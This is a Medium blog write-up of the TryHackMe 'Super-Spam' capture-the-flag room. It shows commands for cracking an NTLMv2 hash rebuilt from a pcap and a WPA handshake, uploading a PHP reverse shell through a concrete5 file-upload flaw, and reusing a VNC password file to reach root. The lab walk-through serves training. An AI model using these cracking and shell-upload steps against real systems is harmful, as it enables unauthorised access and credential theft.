Sitemap
Open in app

Sign in

Medium Logo
Write
Search

Sign in

TryHackMe Super-Spam Writeup

Pavan Pavithran
13 min readJust now

--

Link to the room: https://tryhackme.com/room/superspamr/

Super-Spam!

Defeat the evil Super-Spam, and save the day!!

General Uvilix:

Good Morning! Our intel tells us that he has returned. Super-spam, the evil alien villain from the planet Alpha Solaris from the outer reaches of the Andromeda Galaxy. He is a most wanted notorious cosmos hacker who has made it his lifetime mission to attack every server possible on his journey to a Linux-free galaxy. As an avid Windows proponent, Super-spam has now arrived on Earth and has managed to hack into OUR Linux machine in pursuit of his ultimate goal. We must regain control of our server before it’s too late! Find a way to hack back in to discover his next evil plan for total Windows domination! Beware, super-spam’s evil powers are to confuse and deter his victims.

Credits: ARZ101, DrXploiter, Aksheet, kiwiness, wraith0p

Let’s begin.

Starting with nmap scans:

└─$ nmap -p- -T5 $IP                      
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-08 11:21 -0500
Nmap scan report for 10.48.130.248
Host is up (0.034s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
4012/tcp open  pda-gate
4019/tcp open  talarian-mcast5
5901/tcp open  vnc-1
6001/tcp open  X11:1

Nmap done: 1 IP address (1 host up) scanned in 17.95 seconds
└─$ nmap -p80,4012,4019,5901,6001 -sC -sV $IP               
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-08 11:22 -0500
Nmap scan report for 10.48.130.248
Host is up (0.036s latency).
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home :: Super-Spam
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: concrete5 - 8.5.2
4012/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2d:f6:a0:c4:bf:06:11:89:17:d9:66:e7:77:b3:54:7c (RSA)
|   256 c0:96:ec:d7:e7:c5:f9:96:f3:9a:15:72:f6:e3:db:96 (ECDSA)
|_  256 96:8a:1c:4a:52:4c:e0:c9:a8:f5:1b:a8:32:b4:65:6a (ED25519)
4019/tcp open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.153.212
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 ftp      ftp          4096 Feb 20  2021 IDS_logs
|_-rw-r--r--    1 ftp      ftp           526 Feb 20  2021 note.txt
5901/tcp open  vnc     VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes: 
|_    STDV VNCAUTH_ (2)
6001/tcp open  X11     (access denied)
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.85 seconds

Logging into ftp as anonymous and downloading all the files:

─$ ftp anonymous@$IP 4019
Connected to 10.48.130.248.
220 (vsFTPd 3.0.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||41141|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Feb 20  2021 IDS_logs
-rw-r--r--    1 ftp      ftp           526 Feb 20  2021 note.txt
─$ wget -r ftp://anonymous@$IP:4019/
└─$ cat note.txt          
12th January: Note to self. Our IDS seems to be experiencing high volumes of unusual activity.
We need to contact our security consultants as soon as possible. I fear something bad is going
to happen. -adam
13th January: We've included the wireshark files to log all of the unusual activity. It keeps
occuring during midnight. I am not sure why.. This is very odd... -adam15th January: I could swear I created a new blog just yesterday. For some reason it is gone... -adam24th January: Of course it is... - super-spam :)

Looked through pcaps, found ntlm auth session in 14–01–21.pcapng

Filtering using
ntlmssp.messagetype == 0x00000003
for the AUTHENTICATE message

Found username and domain name

NTLM Secure Service Provider
    NTLMSSP identifier: NTLMSSP
    NTLM Message Type: NTLMSSP_AUTH (0x00000003)
    Lan Manager Response: 000000000000000000000000000000000000000000000000
    LMv2 Client Challenge: 0000000000000000
    NTLM Response […]: 73aeb418ae0e8a9ec167c4d0880cfe22010100000000000049143c43a261d6012ce41adf31a1363c00000000020004003300420001001e003000310035003600360053002d00570049004e00310036002d004900520004001e0074006800720065006500620065006500730063
    Domain name: 3B <--
    User name: lgreen <--
    Host name: 02694W-WIN10
    Session Key: 1991b6183387b61582bcb4f8f953fd92
    Negotiate Flags […]: 0xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended Session Security, Negotiate Always Sign, Negotiate NTLM key, Negotiate Sign, Request Targe
    Version 10.0 (Build 10586); NTLM Current Revision 15
    MIC: e2f5e6851003b1a5ca13194bf795e7f7

Filtering using
ntlmssp.messagetype == 0x00000002
for the CHALLENGE message

NTLM Secure Service Provider
    NTLMSSP identifier: NTLMSSP
    NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)
    Target Name: 3B
    Negotiate Flags: 0xe2898215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended Session Security, Target Type Domain, Negotiate Always Sign, Negotiate NTLM key, Negotiate Sign
    NTLM Server Challenge: a2cce5d65c5fc02f <--
    Reserved: 0000000000000000
    Target Info
    Version 10.0 (Build 14393); NTLM Current Revision 15

Going back to AUTHENTICATE message for NTProofStr

NTLMv2 Response […]: 73aeb418ae0e8a9ec167c4d0880cfe22010100000000000049143c43a261d6012ce41adf31a1363c00000000020004003300420001001e003000310035003600360053002d00570049004e00310036002d004900520004001e00740068007200650065006200650065007300
    NTProofStr: 73aeb418ae0e8a9ec167c4d0880cfe22 <--
    Response Version: 1
    Hi Response Version: 1
    Z: 000000000000
    Time: Jul 24, 2020 10:07:39.461536900 UTC
    NTLMv2 Client Challenge: 2ce41adf31a1363c
    Z: 00000000
    Attribute: NetBIOS domain name: 3B
    Attribute: NetBIOS computer name: 01566S-WIN16-IR
    Attribute: DNS domain name: threebeesco.com
    Attribute: DNS computer name: 01566s-win16-ir.threebeesco.com
    Attribute: DNS tree name: threebeesco.com
    Attribute: Timestamp
    Attribute: Flags
    Attribute: Restrictions
    Attribute: Channel Bindings
    Attribute: Target Name: cifs/172.16.66.36
    Attribute: End of list
    padding: 0000000000000000

User name: lgreen
Domain name: 3B
Challenge: a2cce5d65c5fc02f
NTProofStr: 73aeb418ae0e8a9ec167c4d0880cfe22
BlobRemainder: 010100000000000049143c43a261d6012ce41adf31a1363c00000000020004003300420001001e003000310035003600360053002d00570049004e00310036002d004900520004001e0074006800720065006500620065006500730063006f002e0063006f006d0003003e003000310035003600360073002d00770069006e00310036002d00690072002e0074006800720065006500620065006500730063006f002e0063006f006d0005001e0074006800720065006500620065006500730063006f002e0063006f006d000700080049143c43a261d60106000400020000000800300030000000000000000100000000200000fc849ef6b042cb4e368a3cbbd2362b5ccc39324c75df3415b6166d7489ad1d2b0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e00360036002e0033003600000000000000000000000000

Stitching it all together (username::DOMAIN:ServerChallenge:NTProofStr:BlobRemainder):

lgreen::3B:a2cce5d65c5fc02f:73aeb418ae0e8a9ec167c4d0880cfe22:010100000000000049143c43a261d6012ce41adf31a1363c00000000020004003300420001001e003000310035003600360053002d00570049004e00310036002d004900520004001e0074006800720065006500620065006500730063006f002e0063006f006d0003003e003000310035003600360073002d00770069006e00310036002d00690072002e0074006800720065006500620065006500730063006f002e0063006f006d0005001e0074006800720065006500620065006500730063006f002e0063006f006d000700080049143c43a261d60106000400020000000800300030000000000000000100000000200000fc849ef6b042cb4e368a3cbbd2362b5ccc39324c75df3415b6166d7489ad1d2b0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e00360036002e0033003600000000000000000000000000

Saving this as hash.txt

└─$ john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Note: Passwords longer than 85 [worst case UTF-8] to 256 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
P@$$w0rd         (lgreen)     
1g 0:00:00:00 DONE (2026-11-10 03:10) 20.00g/s 2621Kp/s 2621Kc/s 2621KC/s Dominic1..kovacs
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Found the password: P@$$w0rd

For more info on how I did it, visit https://medium.com/@nirvana/piecing-together-an-ntlmv2-hash-from-a-pcap-42c93730d4c1

And finally attempting to use this password, we get nowhere… this was a waste of time. But not really since I learned something new I guess

Looking through the ftp files again, I found a hidden directory which I missed earlier

└─$ ls -lah       
total 376K
drwxrwxr-x 2 pavan pavan 4.0K Nov  8 11:46 .
drwxrwxr-x 4 pavan pavan 4.0K Nov  8 11:46 ..
-rw-rw-r-- 1 pavan pavan  249 Feb 20  2021 .quicknote.txt
-rw-rw-r-- 1 pavan pavan 362K Feb 20  2021 SamsNetwork.cap
└─$ cat .quicknote.txt 
It worked... My evil plan is going smoothly.
 I will place this .cap file here as a souvenir to remind me of how I got in...
 Soon! Very soon!
 My Evil plan of a linux-free galaxy will be complete.
 Long live Windows, the superior operating system!

Looking through SamsNetwork.cap, its a WiFi packet capture containing raw IEEE 802.11 frames
I can use aircrack-ng to analyze this

└─$ aircrack-ng SamsNetwork.cap                     
Reading packets, please wait...
Opening SamsNetwork.cap
Read 9741 packets.
   #  BSSID              ESSID                     Encryption
   1  D2:F8:8C:31:9F:17  Motocplus                 WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening SamsNetwork.cap
Read 9741 packets.
1 potential targets

With a WPA encryption confirmed, I can now run a dictionary attack to recover the password

└─$ aircrack-ng -w /usr/share/wordlists/rockyou.txt SamsNetwork.cap 
Reading packets, please wait...
Opening SamsNetwork.cap
Read 9741 packets.
   #  BSSID              ESSID                     Encryption
   1  D2:F8:8C:31:9F:17  Motocplus                 WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening SamsNetwork.cap
Read 9741 packets.

1 potential targets
                               Aircrack-ng 1.7 
     [00:35:35] 829845/14344392 keys tested (384.25 k/s) 
     Time left: 9 hours, 46 minutes, 11 seconds                 5.79%
                      
                         KEY FOUND! [ {REDACTED} ]

      Master Key     : 93 5E 0C 77 A3 B7 17 62 0D 1E 31 22 51 C0 42 92 
                       6E CF 91 EE 54 6B E1 E3 A8 6F 81 FF AA B6 64 E1 
      Transient Key  : 70 72 6D 26 15 45 F9 82 D4 AE A9 29 B9 E7 57 42 
                       7A 40 B4 D1 C3 27 EE 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
      EAPOL HMAC     : 1E FB DC A0 1D 48 49 61 3B 9A D7 61 66 71 89 B0

I found a password. But I don’t have a username yet. Going through the http website blog to look for usernames, I found these:

  • Adam_Admin
  • Donald_Dump
  • Lucy_Loser
  • Benjamin_Blogger
  • lgreen (from the pcap file NTLM)

Trying to login to the concrete5 webpage (http://$IP/concrete5/index.php/login), I struck gold with the one and only Donald_Dump!

Get Pavan Pavithran’s stories in your inbox

Join Medium for free to get updates from this writer.

From here, I can use the File Upload Vulnerability associated with Concrete5 8.5.2 (CVE-2020–24986)

Press enter or click to view image in full size
Wappalyzer
Press enter or click to view image in full size
Adding php to allowed file types
Press enter or click to view image in full size
Uploading pentestmonkey php reverse shell
Press enter or click to view image in full size
Successful reverse shell
www-data@ip-10-49-148-236:/home$ ls -lR
.:
total 28
drwxr-xr-x 2 benjamin_blogger benjamin_blogger 4096 Apr  9  2021 benjamin_blogger
drw-rw---- 6 donalddump       donalddump       4096 Apr  9  2021 donalddump
drwxr-xr-x 7 lucy_loser       lucy_loser       4096 Apr  9  2021 lucy_loser
drwxr-xr-x 5 root             root             4096 May 30  2021 personal
drwxr-xr-x 2 ssm-user         ssm-user         4096 Jun 29  2025 ssm-user
drwxr-xr-x 4 super-spam       super-spam       4096 Apr  9  2021 super-spam
drwxr-xr-x 4 ubuntu           ubuntu           4096 Jul  3  2025 ubuntu

./benjamin_blogger:
total 0
ls: cannot open directory './donalddump': Permission denied
./lucy_loser:
total 12
-rw-r--r-- 1 root root   28 Feb 24  2021 calcs.txt
drwxr-xr-x 2 root root 4096 Feb 24  2021 prices
drwxr-xr-x 2 root root 4096 Feb 24  2021 work
./lucy_loser/prices:
total 0
./lucy_loser/work:
total 0
./personal:
total 12
drwxr-xr-x 2 root root 4096 May 30  2021 Dates
drwxr-xr-x 2 root root 4096 May 30  2021 Work
drwxr-xr-x 2 root root 4096 May 30  2021 Workload
./personal/Dates:
total 0
./personal/Work:
total 4
-rw-r--r-- 1 root root 47 May 30  2021 flag.txt <-
./personal/Workload:
total 4
-rw-r--r-- 1 root root 215 Feb 20  2021 nextEvilPlan.txt
./ssm-user:
total 0
./super-spam:
total 4
-rw-r--r-- 1 root root 251 Feb 24  2021 flagOfWindows
./ubuntu:
total 0

Found the first flag (user flag) inside /home/personal/Work/flag.txt

Looking for hidden files using ls -laR, I found lucy_loser has a hidden directory

./lucy_loser/.MessagesBackupToGalactic:
total 1720
drwxr-xr-x 2 lucy_loser lucy_loser   4096 May 30  2021 .
drwxr-xr-x 7 lucy_loser lucy_loser   4096 Apr  9  2021 ..
-rw-r--r-- 1 lucy_loser lucy_loser 172320 Apr  8  2021 c1.png
-rw-r--r-- 1 lucy_loser lucy_loser 171897 Apr  8  2021 c10.png
-rw-r--r-- 1 lucy_loser lucy_loser 168665 Apr  8  2021 c2.png
-rw-r--r-- 1 lucy_loser lucy_loser 171897 Apr  8  2021 c3.png
-rw-r--r-- 1 lucy_loser lucy_loser 171462 Apr  8  2021 c4.png
-rw-r--r-- 1 lucy_loser lucy_loser 167772 Apr  8  2021 c5.png
-rw-r--r-- 1 lucy_loser lucy_loser 167772 Apr  8  2021 c6.png
-rw-r--r-- 1 lucy_loser lucy_loser 171462 Apr  8  2021 c7.png
-rw-r--r-- 1 lucy_loser lucy_loser 171734 Apr  8  2021 c8.png
-rw-r--r-- 1 lucy_loser lucy_loser 173994 Apr  8  2021 c9.png
-rw-r--r-- 1 lucy_loser lucy_loser  20987 Apr  8  2021 d.png
-rw-r--r-- 1 lucy_loser lucy_loser    497 May 30  2021 note.txt
-rw-r--r-- 1 lucy_loser lucy_loser   1200 Apr  8  2021 xored.py

Interesting files:

www-data@ip-10-49-148-236:/home/lucy_loser/.MessagesBackupToGalactic$ cat note.txt 
Note to self. General super spam mentioned that I should not make the same mistake again of re-using the same key for the XOR encryption of our messages to Alpha Solaris IV's headquarters, otherwise we could have some serious issues if our encrypted messages are compromised. I must keep reminding myself,do not re-use keys,I have done it 8 times already!.The most important messages we sent to the HQ were the first and eighth message.I hope they arrived safely.They are crucial to our end goal.
www-data@ip-10-49-148-236:/home/lucy_loser/.MessagesBackupToGalactic$ cat xored.py 
from PIL import Image
print("[!] Note Add extention also.")
pic1_name=input("[-] Enter First Image: " )
pic2_name=input("[-] Enter Second Image: ")
out_name=input("[-] Enter Name of The output image:")

pic1=Image.open(pic1_name)
print("[+] Reading pic1")  #finding the size of picture1 
pic2=Image.open(pic2_name)
print("[+] Reading pic2") #finding the size of picture2
#pic2=pic1.resize(pic1.size) #resizing the pic2 according to pic1
#print("[+] pic2 resized Successfully.")
'''
so that we can xor each and every coordinate of both the pictures
'''
print(pic2) #After Resizing
x_cord_pic1=pic1.size[0]
y_cord_pic1=pic1.size[1]
newpic = Image.new('RGB',pic1.size) # Creating NEW image
for y in range(y_cord_pic1):
    for x in range(x_cord_pic1):
        pixel_1=pic1.getpixel((x,y))
        pixel_2=pic2.getpixel((x,y))
        newpixel =[]
        for p in range(len(pixel_1[:3])): #for all three values
            newpixel.append(pixel_1[p] ^ pixel_2[p]) # ^ --> use to xor two Values
        newpixel=tuple(newpixel)
        #print(newpixel)
        newpic.putpixel((x,y),newpixel)
print("[+] Xored successfully")
print("[+]  Successfully saved as "+out_name)
newpic.save(out_name)

I transferred all the files in the directory over to my attacker machine to analyze them.

www-data@ip-10-49-148-236:/home/lucy_loser/.MessagesBackupToGalactic$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.153.212 - - [10/Nov/2026 12:40:06] "GET / HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:06] code 404, message File not found
192.168.153.212 - - [10/Nov/2026 12:40:06] "GET /robots.txt HTTP/1.1" 404 -
192.168.153.212 - - [10/Nov/2026 12:40:06] "GET /c1.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:06] "GET /c10.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:07] "GET /c2.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:07] "GET /c3.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:07] "GET /c4.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:07] "GET /c5.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:07] "GET /c6.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:08] "GET /c7.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:08] "GET /c8.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:08] "GET /c9.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:08] "GET /d.png HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:08] "GET /note.txt HTTP/1.1" 200 -
192.168.153.212 - - [10/Nov/2026 12:40:08] "GET /xored.py HTTP/1.1" 200 -

From everything, here is what I understood:

  1. The messages were obviously encrypted using XOR
  2. The encryption key was reused according to note.txt
  3. Messages 1 and 8 are important (likely c1.png and c8.png)

The python script opens two images, iterates through pixels, and XOR’s their RGB channel values, saving the result as a new image.
First, I attempt to XOR c1.png and c8.png using the script.

Press enter or click to view image in full size
c1.png XOR c8.png

After a bit of trial and error, I could just barely read the message using (c2.png XOR c8.png) and d.png:

Press enter or click to view image in full size
c2.png XOR c8.png
Press enter or click to view image in full size
d.png
Senior Favacull, I am sending you this encrypted message so that you can 
maintain your persistence on the machine. Please be assured that I have 
encrypted this message using Xor. I have told that clumsy assistant of 
mine to use different random keys for each meessage sent. I hope this 
find you well. The new password will grant you access. it is the following: 
{REDACTED} stay safe and well.

- Super spam

Honestly, could’ve made out what the password is without doing any XOR but here we are.
Trying out this password for ssh, I got in using the user donalddump!

donalddump@ip-10-49-148-236:/$ whoami
donalddump
donalddump@ip-10-49-148-236:/home$ ls -l
total 28
drwxr-xr-x 2 benjamin_blogger benjamin_blogger 4096 Apr  9  2021 benjamin_blogger
drw-rw---- 6 donalddump       donalddump       4096 Apr  9  2021 donalddump
drwxr-xr-x 7 lucy_loser       lucy_loser       4096 Apr  9  2021 lucy_loser
drwxr-xr-x 5 root             root             4096 May 30  2021 personal
drwxr-xr-x 2 ssm-user         ssm-user         4096 Jun 29  2025 ssm-user
drwxr-xr-x 4 super-spam       super-spam       4096 Apr  9  2021 super-spam
drwxr-xr-x 4 ubuntu           ubuntu           4096 Jul  3  2025 ubuntu

I couldn’t initially get into donalddump’s home directory but that was easily solved:

donalddump@ip-10-49-148-236:/home$ chmod 777 donalddump/
donalddump@ip-10-49-148-236:/home$ cd donalddump/
donalddump@ip-10-49-148-236:~$ ls
morning  notes	passwd	user.txt

/morning and /notes were empty but passwd seemed interesting

donalddump@ip-10-49-148-236:~$ file passwd 
passwd: ISO-8859 text, with no line terminators
donalddump@ip-10-49-148-236:~$ cat passwd
_?=�r6�donalddump@ip-10-49-148-236:~$ 
donalddump@ip-10-49-148-236:~$ xxd passwd 
00000000: 5f3f 3def 7207 36c3                      _?=.r.6.
Couldnt find anything note worthy about this, but its a surprise tool that’ll help us later!

Couldn’t find anything noteworthy about this file, but its a surprise tool that’ll help us later! ;)

Anyway, time for linpeas!

Press enter or click to view image in full size
Linpeas.sh result

Found something:

root         834  0.0  0.7  18256 13912 ?        S    12:09   0:00 Xtightvnc :1 -desktop X -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -fp /usr/share/fonts/X11/misc/,/usr/share/fonts/X11/Type1/,/usr/share/fonts/X11/75dpi/,/usr/share/fonts/X11/100dpi/ -co /etc/X11/rgb

This ties back to our nmap scan in the beginning, port 5901 and also the passwd file we found in donalddump’s home directory. Let’s use this.

I transferred over passwd from earlier onto my attacker machine and ran this:

└─$ vncviewer -passwd passwd $IP:5901
Press enter or click to view image in full size
Connected to vnc
Press enter or click to view image in full size
Final flag (encoded)

Decoding from base32, I get the final root flag and also a message:

This is not over! You may have saved your beloved planet this time, 
Hacker-man, but I will be back with a bigger, more dastardly plan to 
get rid of that inferior operating system, Linux.

And so, once again, the day is saved, thanks to… ME!! Goodbye!

Tryhackme
Ctf
Ctf Writeup
Cybersecurity
Vulnerability

--

--

Pavan Pavithran
Pavan Pavithran

Written by Pavan Pavithran

0 followers
0 following

SOC analyst | Looking for opportunities | Reach out via Linkedin @ LinkedIn.com/in/pavan-pavithran

Help

Status

About

Careers

Press

Blog

Store

Privacy

Rules

Terms

Text to speech